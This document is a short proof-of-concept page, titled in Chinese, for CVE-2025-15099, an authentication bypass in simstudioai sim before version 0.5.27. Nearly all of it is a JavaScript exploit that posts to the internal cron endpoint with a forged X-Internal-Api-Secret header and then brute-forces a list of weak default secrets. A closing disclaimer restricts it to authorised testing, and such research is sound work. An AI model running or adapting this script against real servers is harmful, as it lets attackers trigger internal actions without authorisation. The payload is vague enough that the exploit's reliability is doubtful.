CVE-2025-15099 simstudioai sim 身份验证绕过漏洞

// CVE-2025-15099 PoC - Authentication Bypass in simstudioai sim // Target: simstudioai sim < 0.5.27 // Component: CRON Secret Handler (apps/sim/lib/auth/internal.ts) // Attack Vector: Manipulate INTERNAL_API_SECRET parameter const axios = require('axios'); // Replace with target URL const TARGET_URL = 'http://target-server:3000'; // Try to exploit the authentication bypass async function exploitCVE202515099() { console.log('[+] Attempting CVE-2025-15099 exploitation...'); // Method 1: Direct manipulation of INTERNAL_API_SECRET const exploitPayload = { secret: 'manipulated_secret_value', action: 'trigger_cron' }; try { // Attempt to bypass authentication const response = await axios.post( `${TARGET_URL}/api/cron/internal`, exploitPayload, { headers: { 'Content-Type': 'application/json', 'X-Internal-Api-Secret': exploitPayload.secret }, timeout: 10000 } ); if (response.status === 200) { console.log('[+] Authentication bypass successful!'); console.log('[+] Response:', JSON.stringify(response.data)); } } catch (error) { console.log('[-] Request failed:', error.message); } // Method 2: Try common default/weak secrets const commonSecrets = ['internal', 'secret', 'api_key', 'cron_secret', '']; for (const secret of commonSecrets) { try { const resp = await axios.post( `${TARGET_URL}/api/cron/internal`, { action: 'trigger_cron' }, { headers: { 'X-Internal-Api-Secret': secret } } ); if (resp.status === 200) { console.log(`[+] Found valid secret: ${secret}`); } } catch (e) { // Continue trying } } } exploitCVE202515099(); // Note: This PoC is for educational and security testing purposes only. // Always obtain proper authorization before testing any system.